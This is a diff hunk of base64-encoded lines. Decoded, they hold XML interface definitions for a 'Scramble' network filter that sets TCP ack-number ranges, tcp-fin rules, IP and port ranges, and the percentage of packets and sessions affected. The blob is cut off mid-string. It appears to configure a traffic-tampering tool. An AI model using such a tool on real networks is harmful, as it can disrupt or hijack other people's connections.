+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9w
+YXJhbV9zZDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TZXNzaW9uIERl
+bGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+
+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAg
+ICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAg
+ICAgPGFyZ251bWJlcj4xMzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5O
+dW1iZXIgb2Ygc2Vzc2lvbnMgdG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRz
+LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9w
+YXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InMiPg0KICAgICAgICAgICAg
+ICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWlkPnNjcmFtYmxlX3BhcmFtX3M8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNl
+bGFiZWw+U2Vzc2lvbiBQZXJjZW50YWdlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAg
+ICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9k
+ZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xNDwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICAgIDxoZWxwdGV4dD5QZXJjZW50YWdlIG9mIHNlc3Npb25zIGZpbHRlciB3aWxsIGFm
+ZmVjdC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAg
+IDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJzbSI+DQogICAgICAg
+ICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fc208L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8
+bmN1cnNlbGFiZWw+TWF4IFNlc3Npb25zPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAg
+ICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9k
+ZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xNTwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJlciBvZiBzZXNzaW9uIHRvIGFmZmVjdCBi
+ZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0
+ZXIgZmxhZz0icGQiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNl
+bnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BkPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlBhY2tldCBEZWxheTwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWlu
+dDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAg
+ICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmlt
+aXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+
+MTY8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TnVtYmVyIG9mIHBhY2tl
+dHMgdG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQog
+ICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAg
+ICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InAiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2
+ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxl
+X3BhcmFtX3A8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UGFja2V0IFBl
+cmNlbnRhZ2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAg
+ICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwv
+c2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAg
+ICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAg
+ICAgICAgICA8YXJnbnVtYmVyPjE3PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0
+ZXh0PlBlcmNlbnRhZ2Ugb2YgcGFja2V0cyBmaWx0ZXIgd2lsbCBhZmZlY3QuPC9oZWxwdGV4dD4N
+CiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAg
+ICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icG0iPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNp
+dGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFt
+YmxlX3BhcmFtX3BtPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPk1heCBQ
+YWNrZXRzPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3Np
+emU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAg
+ICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAg
+ICAgICAgPGFyZ251bWJlcj4xODwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4
+dD5NYXhpbXVtIG51bWJlciBvZiBwYWNrZXRzIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRl
+cm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZGlyIj4NCiAg
+ICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9kaXI8L25jdXJzZWlkPg0KICAgICAgICAg
+ICAgICA8bmN1cnNlbGFiZWw+RGlyZWN0aW9uPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+PGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAg
+ICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4w
+PC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xOTwvYXJnbnVtYmVyPg0KICAg
+ICAgICAgICAgICAgIDxoZWxwdGV4dD5UaGUgZGlyZWN0aW9uIGluIGEgY2xpZW50IHNlcnZlciBj
+b25uZWN0aW9uIHRoYXQgdGhpcyBmaWx0ZXIgYXBwbGllcyB0by4gIElmIGZsYWcgaXMgbm90IHVz
+ZWQsIGJvdGggZGlyZWN0aW9uIHdpbGwgYmUgZmlsdGVyZWQgb24uICBJZiAxIGlzIGVudGVyZWQs
+IG9ubHkgY29ubmVjdGlvbnMgZnJvbSB0aGUgY2xpZW50IHdpbGwgYmUgZmlsdGVyZWQgb24uICBJ
+ZiAyLCBvbmx5IHRob3NlIGZyb20gdGhlIHNlcnZlci48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBh
+cmFtZXRlciBmbGFnPSJsIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nh
+c2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9sPC9u
+Y3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlRDUCBBY2sgTnVtIE1pbjwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5
+cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAg
+ICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwRjAwMDAwRDwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdu
+dW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NaW5pbXVtIHZh
+bHVlIGZvciB0Y3AgYWNrbm93bGVkZ2UgbnVtYmVyIGFzc2lnbm1lbnQuPC9oZWxwdGV4dD4NCiAg
+ICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAg
+ICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iaGkiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2
+ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxl
+X3BhcmFtX2g8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VENQIEFjayBO
+dW0gTWF4PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3Np
+emU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAg
+ICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDBEPC9wcmltaXRpdmU+DQogICAgICAgICAg
+ICAgICAgPGFyZ251bWJlcj4zPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0
+Pk1heGltdW0gdmFsdWUgZm9yIHRjcCBhY2tub3dsZWRnZSBudW1iZXIgYXNzaWdubWVudC48L2hl
+bHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1l
+dGVyPg0KICAgICAgICAgIDwvb3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgICAgPC9wYXJhbWV0
+ZXJzPg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAg
+ICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5TY3JhbWJsZSB0Y3BfYWNrbnVt
+IEZpbHRlcjwvdGl0bGU+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rp
+b24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAg
+ICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAg
+ICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMjwvZWxlbWVudD4NCiAgICAg
+ICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8zPC9lbGVtZW50Pg0KICAg
+ICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzQ8L2VsZW1lbnQ+DQog
+ICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAg
+IDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwvZWxlbWVudD4NCiAgICAgICAgICAg
+ICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl82PC9lbGVtZW50Pg0KICAgICAgICAg
+ICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzc8L2VsZW1lbnQ+DQogICAgICAg
+ICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfODwvZWxlbWVudD4NCiAgICAg
+ICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgICA8c2VjdGlv
+bj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxl
+X2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAg
+ICAgICAgPGNvbHVtbi8+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9u
+Pg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVf
+cGFyYW1fZW48L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxj
+b2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BzPC9lbGVtZW50
+Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAg
+ICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9yPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9j
+b2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAg
+ICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV90
+ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4N
+CiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV90PC9lbGVtZW50Pg0KICAg
+ICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0
+aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1i
+bGVfcGFyYW1fc2Q8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAg
+IDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3M8L2VsZW1l
+bnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAg
+ICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3NtPC9lbGVtZW50Pg0KICAgICAgICAgICAg
+PC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAg
+ICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1f
+cGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3A8L2VsZW1lbnQ+DQogICAg
+ICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxl
+bGVtZW50PnNjcmFtYmxlX3BhcmFtX3BtPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+
+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAg
+PGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fZGlyPC9lbGVt
+ZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAg
+ICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9sPC9lbGVtZW50Pg0KICAgICAgICAgICAg
+PC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5z
+Y3JhbWJsZV9wYXJhbV9oPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+ICAgPC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2NtZD4NCiAg
+ICAgIDxjbWQgdGl0bGU9InRjcC1maW4iPg0KICAgICAgICA8aGVscHRleHQ+Q3JlYXRlcyBhIG5l
+dyB0Y3AtZmluIHJ1bGUgYmFzZWQgb24gdGhlIHNwZWNpZmllZCBjcml0ZXJpYS48L2hlbHB0ZXh0
+Pg0KICAgICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4N
+CiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgPHByaW1pdGl2ZT4weDBGMDAwMDBFPC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJl
+ZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgICAg
+ICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MEYwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8L29wdGlvbmFsX3ByaW1pdGl2
+ZXM+DQogICAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAg
+ICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNj
+cmFtYmxlX2NyZWF0ZV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJz
+ZWxhYmVsPlNvdXJjZSBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2
+NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJn
+bnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9jcmVhdGVfYXR0cmliXzI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vy
+c2VsYWJlbD5Tb3VyY2UgTWFzazwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+
+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAg
+ICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8
+YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmli
+dXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8zPC9u
+Y3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlN0YXJ0IFNyYyBQb3J0PC9uY3Vy
+c2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlw
+ZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAg
+ICAgPGFyZ251bWJlcj4zPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJf
+NDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5FbmQgU3JjIFBvcnQ8L25j
+dXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0
+eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAg
+ICAgICA8YXJnbnVtYmVyPjQ8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+
+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxu
+Y3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzU8L25jdXJzZWlkPg0KICAgICAgICAgICAg
+ICAgIDxuY3Vyc2VsYWJlbD5EZXN0aW5hdGlvbiBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAg
+ICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4N
+CiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICAgICAgICA8YXJnbnVtYmVyPjU8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNv
+bW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzY8L25jdXJzZWlkPg0KICAgICAg
+ICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EZXN0aW5hdGlvbiBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2
+PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZl
+Pg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJs
+ZV9jcmVhdGVfYXR0cmliXzc8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+
+U3RhcnQgRHN0IFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0K
+ICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6
+ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjc8L2FyZ251bWJlcj4NCiAgICAgICAg
+ICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAg
+ICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfY3JlYXRlX2F0dHJpYl84PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPkVuZCBEc3QgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+ODwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvbmN1
